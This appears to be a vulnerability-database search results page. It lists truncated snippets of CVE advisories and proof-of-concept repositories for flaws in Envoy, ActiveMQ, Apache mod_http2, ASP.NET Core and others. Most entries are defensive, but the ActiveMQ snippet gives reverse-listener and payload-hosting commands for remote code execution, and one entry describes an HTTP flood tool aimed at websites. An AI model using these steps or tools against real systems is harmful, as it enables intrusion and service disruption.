136494 matches found
Envoy-CPU-Exhaustion-Vulnerability-PoC
Envoy CPU Exhaustion Vulnerability PoC This repository contains a proof-of-concept PoC Python script to demonstrate the CPU exhaustion vulnerability in Envoy caused by a flood of CONTINUATION frames. Author: blackmagic 2024 Description Envoy is a cloud-native, open-source edge and service proxy...
CVE-2025-4679-SecureOAuth-Demo---Enfoque-educativo
š OAuth Security Laboratory: CVE-2025-4679 Educational Simulator A safe, isolated environment to learn about OAuth vulnerabilities without risking real systems š Quick Start | š Learning Path | š”ļø Safe Environment | š„ Contributors š Overview This educational laboratory simulates the CVE-2025-4679...
PT-2026-113982
Name of the Vulnerable Software and Affected Versions bandit versions 1.4.0 and later Description Uncontrolled resource consumption allows an unauthenticated remote attacker to pin HTTP/2 stream processes indefinitely. By sending a trickle of small WINDOW UPDATE frames or empty SETTINGS frames, a...
PT-2026-114150
FreeRDP from 3.0.0 before 3.32.0 contains an infinite loop vulnerability in http response recv that allows malicious gateways to exhaust client CPU via crafted Content-Type headers. Attackers controlling a gateway can return a nonzero Content-Length with a semicolon-containing unrecognized...
RHEL 10 : libsoup3 (RHSA-2026:82728)
The remote Redhat Enterprise Linux 10 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2026:82728 advisory. Libsoup is an HTTP library implementation in C. It was originally part of a SOAP Simple Object Access Protocol implementation called Soup, but the...
Debian dsa-6558 : curl - security update
The remote Debian 13 host has packages installed that are affected by multiple vulnerabilities as referenced in the dsa-6558 advisory. - ------------------------------------------------------------------------- Debian Security Advisory DSA-6558-1 [email protected] https://www.debian.org/securit...
vuln-CVE-2022-41082
vuln-CVE-2022-41082 https & http FOR HTTP: nmap -p80 --script exchange-vuln-check.nse FOR HTTPS: nmap -p443 --script exchange-vuln-check.nse SAVE RESULTS IN A FILE nmap -p80 --script exchange-vuln-check.nse -oN results.txt...
CVE-2021-38647-POC-and-Demo-environment
Details OMIGod - CVE-2021-38647 Open Management Infrastructure OMI, formerly known as NanoWBEM is an open source Common Interface Model CMI management server by Microsoft and The Open Group. OMI is a software agent found on most of Azure's Linux VMs, yet many do not know of it's presence. On...
cve-2016-5699-jinzheng-sha
cve-2016-5699-report Reading Course Report This repo references an example. simple-client.py is a Python script to make HTTP requests to the URL passed from a command argument. simple-server.py uses Flask to construct a simple HTTP server to print the headers of received requests. Set Up Install...
CVE-2016-3088
CVE-2016-3088 Apache ActiveMQ Remote Code Execution Exploit Description The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request. Author Alexandre Aguiar @cyberaguiar Exploit...
PyFlooder
PyFlooder An HTTP Flood Python script that could stop a normal website in 10s How does it work ? It generates a configurable number of random GET requests and sends them to the target Usage pyflooder.py...
GHSA-WXXW-5CVC-53J7 Microsoft Security Advisory CVE-2026-66822 - .NET and Visual Studio Information Disclosure Vulnerability
Executive summary Microsoft is releasing this security advisory to provide information about a vulnerability in System.Net.Http. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. SocketsHttpHandler can retain a...
Microsoft Security Advisory CVE-2026-105016 - Microsoft QUIC Remote Code Execution Vulnerability
Executive summary Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft QUIC as used by .NET 8.0, .NET 9.0, .NET 10.0, and .NET 11 RC2 on Windows. This advisory also provides guidance on what developers can do to update their applications to remov...
CVE-2026-88092
Inconsistent interpretation of http requests 'http request/response smuggling' in ASP.NET Core allows an unauthorized attacker to perform tampering over a network...
CVE-2026-70188
Inconsistent interpretation of http requests 'http request/response smuggling' in ASP.NET Core allows an unauthorized attacker to bypass a security feature over a network...
CVE-2026-88092
A critical HTTP request/response smuggling vulnerability exists in ASP.NET Core due to the inconsistent interpretation of HTTP requests. An unauthorized attacker can exploit this flaw to perform tampering over a network. This vulnerability has a CVSS 3.1 base score of 9.4 , indicating a high impa...
CVE-2020-35391-POC
Welcome to CVE-2020-35391-POC š Tenda N300 Authentication Bypass via Malformed HTTP Request Header Python POC Tenda N300 F3 12.01.01.48 devices allow remote attackers to obtain sensitive information possibly including an httppasswd line via a direct request for cgi-bin/DownloadCfg/RouterCfm.cfg, ...
CVE-2026-70188
A vulnerability in ASP.NET Core allows an unauthorized attacker to bypass a security feature over a network due to the inconsistent interpretation of HTTP requests (HTTP request/response smuggling). The vulnerability is listed with a CVSS score of 9.10 and results in the exploitation of security ...
CVE-2026-23918-poc
CVE-2026-23918 ā Apache modhttp2 Double Free Affected: Apache HTTP Server 2.4.66 with modhttp2 + Event MPM Fixed in: Apache 2.4.67 modh2 v2.0.37 CVSS 3.1: 8.8 HIGH ā Unauthenticated Remote Code Execution possible CWE: CWE-415 Double Free What's the vulnerability modhttp2 in Apache 2.4.66 has a...
CVE-2023-46604-RCE
CVE-2023-46604-RCE Python implementation of Apache ActiveMQ Unauthenticated Remote Code Execution Setup & Exploit nc -lvnp 4444 - Start Listener python3 -m http.server 8080 - Host poc.xml that contain your payload python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - Start exploit...